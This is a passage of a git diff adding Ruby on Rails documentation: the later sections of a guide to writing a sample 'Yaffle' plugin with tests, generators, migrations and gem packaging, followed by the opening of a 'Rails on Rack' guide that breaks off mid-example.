+One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so: + +* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +<ruby> +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + # any method placed here will apply to classes, like Hickwall + def acts_as_something + send :include, InstanceMethods + end + end + + module InstanceMethods + # any method placed here will apply to instaces, like @hickwall + end +end +</ruby> + +With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+). + +h4. Add a Class Method + +This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. + +To start out, write a failing test that shows the behavior you'd like: + +* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class Hickwall < ActiveRecord::Base + acts_as_yaffle +end + +class Wickwall < ActiveRecord::Base + acts_as_yaffle :yaffle_text_field => :last_tweet +end + +class ActsAsYaffleTest < Test::Unit::TestCase + load_schema + + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end +end +</ruby> + +To make these tests pass, you could modify your +acts_as_yaffle+ file like so: + +* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +<ruby> +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field + self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + end + end +end + +ActiveRecord::Base.send :include, Yaffle +</ruby> + +h4. Add an Instance Method + +This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. + +To start out, write a failing test that shows the behavior you'd like: + +* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class Hickwall < ActiveRecord::Base + acts_as_yaffle +end + +class Wickwall < ActiveRecord::Base + acts_as_yaffle :yaffle_text_field => :last_tweet +end + +class ActsAsYaffleTest < Test::Unit::TestCase + load_schema + + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end + + def test_hickwalls_squawk_should_populate_last_squawk + hickwall = Hickwall.new + hickwall.squawk("Hello World") + assert_equal "squawk! Hello World", hickwall.last_squawk + end + + def test_wickwalls_squawk_should_populate_last_tweeted_at + wickwall = Wickwall.new + wickwall.squawk("Hello World") + assert_equal "squawk! Hello World", wickwall.last_tweet + end +end +</ruby> + +Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this: + +* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +<ruby> +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field + self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + send :include, InstanceMethods + end + end + + module InstanceMethods + def squawk(string) + write_attribute(self.class.yaffle_text_field, string.to_squawk) + end + end +end + +ActiveRecord::Base.send :include, Yaffle +</ruby> + +NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+. + +h3. Models + +This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this: + +<shell> +vendor/plugins/yaffle/ +|-- lib +| |-- app +| | |-- controllers +| | |-- helpers +| | |-- models +| | | `-- woodpecker.rb +| | `-- views +| |-- yaffle +| | |-- acts_as_yaffle.rb +| | |-- commands.rb +| | `-- core_ext.rb +| `-- yaffle.rb +</shell> + +As always, start with a test: + +* *vendor/plugins/yaffle/test/woodpecker_test.rb:* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' + +class WoodpeckerTest < Test::Unit::TestCase + load_schema + + def test_woodpecker + assert_kind_of Woodpecker, Woodpecker.new + end +end +</ruby> + +This is just a simple test to make sure the class is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: + +* *vendor/plugins/yaffle/lib/yaffle.rb:* + +<ruby> +%w{ models }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end +</ruby> + +Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin. + +* *vendor/plugins/yaffle/lib/app/models/woodpecker.rb:* + +<ruby> +class Woodpecker < ActiveRecord::Base +end +</ruby> + +Finally, add the following to your plugin's 'schema.rb': + +* *vendor/plugins/yaffle/test/schema.rb:* + +<ruby> +create_table :woodpeckers, :force => true do |t| + t.string :name +end +</ruby> + +Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. + +h3. Controllers + +This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model. + +You can test your plugin's controller as you would test any other controller: + +* *vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' +require 'woodpeckers_controller' +require 'action_controller/test_process' + +class WoodpeckersController; def rescue_action(e) raise e end; end + +class WoodpeckersControllerTest < Test::Unit::TestCase + def setup + @controller = WoodpeckersController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + + ActionController::Routing::Routes.draw do |map| + map.resources :woodpeckers + end + end + + def test_index + get :index + assert_response :success + end +end +</ruby> + +This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: + +* *vendor/plugins/yaffle/lib/yaffle.rb:* + +<ruby> +%w{ models controllers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end +</ruby> + +* *vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:* + +<ruby> +class WoodpeckersController < ActionController::Base + + def index + render :text => "Squawk!" + end + +end +</ruby> + +Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action. + +h3. Helpers + +This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller. + +You can test your plugin's helper as you would test any other helper: + +* *vendor/plugins/yaffle/test/woodpeckers_helper_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' +include WoodpeckersHelper + +class WoodpeckersHelperTest < Test::Unit::TestCase + def test_tweet + assert_equal "Tweet! Hello", tweet("Hello") + end +end +</ruby> + +This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: + +* *vendor/plugins/yaffle/lib/yaffle.rb:* + +<ruby> +%w{ models controllers helpers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end +</ruby> + +* *vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:* + +<ruby> +module WoodpeckersHelper + + def tweet(text) + "Tweet! #{text}" + end + +end +</ruby> + +Now your test should be passing, and you should be able to use the Woodpeckers helper in your app. + +h3. Routes + +In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'. + +Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this: + +* *vendor/plugins/yaffle/test/routing_test.rb* + +<ruby> +require "#{File.dirname(__FILE__)}/test_helper" + +class RoutingTest < Test::Unit::TestCase + + def setup + ActionController::Routing::Routes.draw do |map| + map.yaffles + end + end + + def test_yaffles_route + assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index" + end + + private + + def assert_recognition(method, path, options) + result = ActionController::Routing::Routes.recognize_path(path, :method => method) + assert_equal options, result + end +end +</ruby> + +Once you see the tests fail by running 'rake', you can make them pass with: + +* *vendor/plugins/yaffle/lib/yaffle.rb* + +<ruby> +require "yaffle/routing" +</ruby> + +* *vendor/plugins/yaffle/lib/yaffle/routing.rb* + +<ruby> +module Yaffle #:nodoc: + module Routing #:nodoc: + module MapperExtensions + def yaffles + @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"}) + end + end + end +end + +ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions +</ruby> + +* *config/routes.rb* + +<ruby> +ActionController::Routing::Routes.draw do |map| + map.yaffles +end +</ruby> + +You can also see if your routes work by running +rake routes+ from your app directory. + +h3. Generators + +Many plugins ship with generators. When you created the plugin above, you specified the +--with-generator+ option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. + +Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file. + +h4. Testing Generators + +Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: + + * Creates a new fake rails root directory that will serve as destination + * Runs the generator + * Asserts that the correct files were generated + * Removes the fake rails root + +This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this: + +* *vendor/plugins/yaffle/test/definition_generator_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' + +class DefinitionGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(fake_rails_root) + @original_files = file_list + end + + def teardown + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_correct_file_name + Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_equal "definition.txt", File.basename(new_file) + end + + private + + def fake_rails_root + File.join(File.dirname(__FILE__), 'rails_root') + end + + def file_list + Dir.glob(File.join(fake_rails_root, "*")) + end + +end +</ruby> + +You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. + +To make it pass, create the generator: + +* *vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb* + +<ruby> +class YaffleDefinitionGenerator < Rails::Generator::Base + def manifest + record do |m| + m.file "definition.txt", "definition.txt" + end + end +end +</ruby> + +h4. The +USAGE+ File + +If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file. + +Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: + +<shell> +./script/generate +</shell> + +You should see something like this: + +<shell> +Installed Generators + Plugins (vendor/plugins): yaffle_definition + Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration +</shell> + +When you run +script/generate yaffle_definition -h+ you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'. + +For this plugin, update the USAGE file could look like this: + +<shell> +Description: + Adds a file with the definition of a Yaffle to the app's main directory +</shell> + +h3. Add a Custom Generator Command + +You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. + +This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file. + +To start, add the following test method: + +* *vendor/plugins/yaffle/test/generator_test.rb* + +<ruby> +def test_generates_definition + Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) + definition = File.read(File.join(fake_rails_root, "definition.txt")) + assert_match /Yaffle\:/, definition +end +</ruby> + +Run +rake+ to watch the test fail, then make the test pass add the following: + +* *vendor/plugins/yaffle/generators/yaffle/templates/definition.txt* + +<shell> +Yaffle: A bird +</shell> + +* *vendor/plugins/yaffle/lib/yaffle.rb* + +<ruby> +require "yaffle/commands" +</ruby> + +* *vendor/plugins/yaffle/lib/commands.rb* + +<ruby> +require 'rails_generator' +require 'rails_generator/commands' + +module Yaffle #:nodoc: + module Generator #:nodoc: + module Commands #:nodoc: + module Create + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module Destroy + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module List + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module Update + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + end + end +end + +Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create +Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy +Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List +Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update +</ruby> + +Finally, call your new method in the manifest: + +* *vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* + +<ruby> +class YaffleGenerator < Rails::Generator::NamedBase + def manifest + m.yaffle_definition + end +end +</ruby> + +h3. Generator Commands + +You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. + +This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'. + +To start, add the following test method: + +* *vendor/plugins/yaffle/test/route_generator_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' +require 'rails_generator/scripts/destroy' + +class RouteGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(File.join(fake_rails_root, "config")) + end + + def teardown + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_route + content = <<-END + ActionController::Routing::Routes.draw do |map| + map.connect ':controller/:action/:id' + map.connect ':controller/:action/:id.:format' + end + END + File.open(routes_path, 'wb') {|f| f.write(content) } + + Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root) + assert_match /map\.yaffles/, File.read(routes_path) + end + + def test_destroys_route + content = <<-END + ActionController::Routing::Routes.draw do |map| + map.yaffles + map.connect ':controller/:action/:id' + map.connect ':controller/:action/:id.:format' + end + END + File.open(routes_path, 'wb') {|f| f.write(content) } + + Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root) + assert_no_match /map\.yaffles/, File.read(routes_path) + end + + private + + def fake_rails_root + File.join(File.dirname(__FILE__), "rails_root") + end + + def routes_path + File.join(fake_rails_root, "config", "routes.rb") + end + +end +</ruby> + +Run +rake+ to watch the test fail, then make the test pass add the following: + +* *vendor/plugins/yaffle/lib/yaffle.rb* + +<ruby> +require "yaffle/commands" +</ruby> + +* *vendor/plugins/yaffle/lib/yaffle/commands.rb* + +<ruby> +require 'rails_generator' +require 'rails_generator/commands' + +module Yaffle #:nodoc: + module Generator #:nodoc: + module Commands #:nodoc: + module Create + def yaffle_route + logger.route "map.yaffle" + look_for = 'ActionController::Routing::Routes.draw do |map|' + unless options[:pretend] + gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"} + end + end + end + + module Destroy + def yaffle_route + logger.route "map.yaffle" + gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, '' + end + end + + module List + def yaffle_route + end + end + + module Update + def yaffle_route + end + end + end + end +end + +Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create +Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy +Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List +Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update +</ruby> + +* *vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb* + +<ruby> +class YaffleRouteGenerator < Rails::Generator::Base + def manifest + record do |m| + m.yaffle_route + end + end +end +</ruby> + +To see this work, type: + +<shell> +./script/generate yaffle_route +./script/destroy yaffle_route +</shell> + +NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually. + +h3. Migrations + +If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins. + +If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration. + +Let's say you have the following migration in your plugin: + +* *vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:* + +<ruby> +class CreateBirdhouses < ActiveRecord::Migration + def self.up + create_table :birdhouses, :force => true do |t| + t.string :name + t.timestamps + end + end + + def self.down + drop_table :birdhouses + end +end +</ruby> + +Here are a few possibilities for how to allow developers to use your plugin migrations: + +h4. Create a Custom Rake Task + +* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:* + +<ruby> +namespace :db do + namespace :migrate do + description = "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate" + description << "and update db/schema.rb by invoking db:schema:dump." + description << "Target specific version with VERSION=x. Turn off output with VERBOSE=false." + + desc description + task :yaffle => :environment do + ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true + ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) + Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby + end + end +end +</ruby> + +h4. Call Migrations Directly + +* *vendor/plugins/yaffle/lib/yaffle.rb:* + +<ruby> +Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| + require file +end +</ruby> + +* *db/migrate/20081116181115_create_birdhouses.rb:* + +<ruby> +class CreateBirdhouses < ActiveRecord::Migration + def self.up + Yaffle::CreateBirdhouses.up + end + + def self.down + Yaffle::CreateBirdhouses.down + end +end +</ruby> + +NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality. + +h4. Generate Migrations + +Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this: + + * call your script/generate script and pass in whatever options they need + * examine the generated migration, adding/removing columns or other options as necessary + +This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first: + +* *vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb* + +<ruby> +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' + +class MigrationGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(fake_rails_root) + @original_files = file_list + end + + def teardown + ActiveRecord::Base.pluralize_table_names = true + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_correct_file_name + Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], + :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file + assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file) + end + + def test_pluralizes_properly + ActiveRecord::Base.pluralize_table_names = false + Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], + :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file + assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file) + end + + private + def fake_rails_root + File.join(File.dirname(__FILE__), 'rails_root') + end + + def file_list + Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) + end + +end +</ruby> + +NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app. + +After running the test with 'rake' you can make it pass with: + +* *vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb* + +<ruby> +class YaffleMigrationGenerator < Rails::Generator::NamedBase + def manifest + record do |m| + m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, + :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" + } + end + end + + private + def custom_file_name + custom_name = class_name.underscore.downcase + custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names + custom_name + end + + def yaffle_local_assigns + returning(assigns = {}) do + assigns[:migration_action] = "add" + assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" + assigns[:table_name] = custom_file_name + assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] + end + end +end +</ruby> + +The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails +migration_template+ method, and reuses the built-in rails migration template. + +It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. + +To run the generator, type the following at the command line: + +<shell> +./script/generate yaffle_migration bird +</shell> + +and you will see a new file: + +* *db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* + +<ruby> +class AddYaffleFieldsToBirds < ActiveRecord::Migration + def self.up + add_column :birds, :last_squawk, :string + end + + def self.down + remove_column :birds, :last_squawk + end +end +</ruby> + +h3. Rake tasks + +When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'. Any rake task you add here will be available to the app. + +Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: + +* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake* + +<ruby> +namespace :yaffle do + desc "Prints out the word 'Yaffle'" + task :squawk => :environment do + puts "squawk!" + end +end +</ruby> + +When you run +rake -T+ from your plugin you will see: + +<shell> +yaffle:squawk # Prints out the word 'Yaffle' +</shell> + +You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. + +Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app. + +h3. PluginGems + +Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem. + +Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'. + +It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this: + +* *vendor/plugins/yaffle/Rakefile:* + +<ruby> +PKG_FILES = FileList[ + '[a-zA-Z]*', + 'generators/**/*', + 'lib/**/*', + 'rails/**/*', + 'tasks/**/*', + 'test/**/*' +] + +spec = Gem::Specification.new do |s| + s.name = "yaffle" + s.version = "0.0.1" + s.author = "Gleeful Yaffler" + s.email = "yaffle@example.com" + s.homepage = "http://yafflers.example.com/" + s.platform = Gem::Platform::RUBY + s.summary = "Sharing Yaffle Goodness" + s.files = PKG_FILES.to_a + s.require_path = "lib" + s.has_rdoc = false + s.extra_rdoc_files = ["README"] +end + +desc 'Turn this plugin into a gem.' +Rake::GemPackageTask.new(spec) do |pkg| + pkg.gem_spec = spec +end +</ruby> + +To build and install the gem locally, run the following commands: + +<shell> +cd vendor/plugins/yaffle +rake gem +sudo gem install pkg/yaffle-0.0.1.gem +</shell> + +To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you. + +h3. RDoc Documentation + +Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. + +The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: + +* Your name +* How to install +* How to add the functionality to the app (several examples of common use cases) +* Warning, gotchas or tips that might help save users time + +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. + +Once your comments are good to go, navigate to your plugin directory and run: + +<shell> +rake rdoc +</shell> + +h3. Appendix + +If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master. + +h4. References + +* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i +* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii +* http://github.com/technoweenie/attachment_fu/tree/master +* http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html +* http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins +* http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. + +h4. Contents of +lib/yaffle.rb+ + +* *vendor/plugins/yaffle/lib/yaffle.rb:* + +<ruby> +require "yaffle/core_ext" +require "yaffle/acts_as_yaffle" +require "yaffle/commands" +require "yaffle/routing" + +%w{ models controllers helpers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end + +# optionally: +# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| +# require file +# end +</ruby> + +h4. Final Plugin Directory Structure + +The final plugin should have a directory structure that looks something like this: + +<shell> +|-- MIT-LICENSE +|-- README +|-- Rakefile +|-- generators +| |-- yaffle_definition +| | |-- USAGE +| | |-- templates +| | | `-- definition.txt +| | `-- yaffle_definition_generator.rb +| |-- yaffle_migration +| | |-- USAGE +| | |-- templates +| | `-- yaffle_migration_generator.rb +| `-- yaffle_route +| |-- USAGE +| |-- templates +| `-- yaffle_route_generator.rb +|-- install.rb +|-- lib +| |-- app +| | |-- controllers +| | | `-- woodpeckers_controller.rb +| | |-- helpers +| | | `-- woodpeckers_helper.rb +| | `-- models +| | `-- woodpecker.rb +| |-- db +| | `-- migrate +| | `-- 20081116181115_create_birdhouses.rb +| |-- yaffle +| | |-- acts_as_yaffle.rb +| | |-- commands.rb +| | |-- core_ext.rb +| | `-- routing.rb +| `-- yaffle.rb +|-- pkg +| `-- yaffle-0.0.1.gem +|-- rails +| `-- init.rb +|-- tasks +| `-- yaffle_tasks.rake +|-- test +| |-- acts_as_yaffle_test.rb +| |-- core_ext_test.rb +| |-- database.yml +| |-- debug.log +| |-- definition_generator_test.rb +| |-- migration_generator_test.rb +| |-- route_generator_test.rb +| |-- routes_test.rb +| |-- schema.rb +| |-- test_helper.rb +| |-- woodpecker_test.rb +| |-- woodpeckers_controller_test.rb +| |-- wookpeckers_helper_test.rb +| |-- yaffle_plugin.sqlite3.db +| `-- yaffle_test.rb +`-- uninstall.rb +</shell> + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide + +* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile new file mode 100644 index 0000000000..05581f943f --- /dev/null +++ b/railties/guides/source/rails_on_rack.textile @@ -0,0 +1,309 @@ +h2. Rails on Rack + +This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: + +* Create Rails Metal applications +* Use Rack Middlewares in your Rails applications +* Understand Action Pack's internal Middleware stack +* Define a custom Middleware stack + +endprologue. + +WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+. + +h3. Introduction to Rack + +bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. + +- "Rack API Documentation":http://rack.rubyforge.org/doc/ + +Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links: + +* "Official Rack Website":http://rack.github.com +* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html +* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1 +* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder + +h3. Rails on Rack + +h4. Rails Application's Rack Object + +<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.</p> + +h4. +script/server+ + +<tt>script/server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script. + +Here's how +script/server+ creates an instance of +Rack::Builder+ + +<ruby> +app = Rack::Builder.new { + use Rails::Rack::LogTailer unless options[:detach] + use Rails::Rack::Debugger if options[:debugger] + + map "/" do + use Rails::Rack::Static + run ActionController::Dispatcher.new + end +}.to_app +</ruby> + +Middlewares used in the code above are primarily useful only in the development envrionment. The following table explains their usage: + +|_.Middleware|_.Purpose| +|+Rails::Rack::LogTailer+|Appends log file output to console| +|+Rails::Rack::Static+|Serves static files inside +RAILS_ROOT/public+ directory| +|+Rails::Rack::Debugger+|Starts Debugger| + +h4. +rackup+ + +To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory: + +<ruby> +# RAILS_ROOT/config.ru +require "config/environment" + +use Rails::Rack::LogTailer +use Rails::Rack::Static +run ActionController::Dispatcher.new +</ruby> + +And start the server: + +<shell> +[lifo@null application]$ 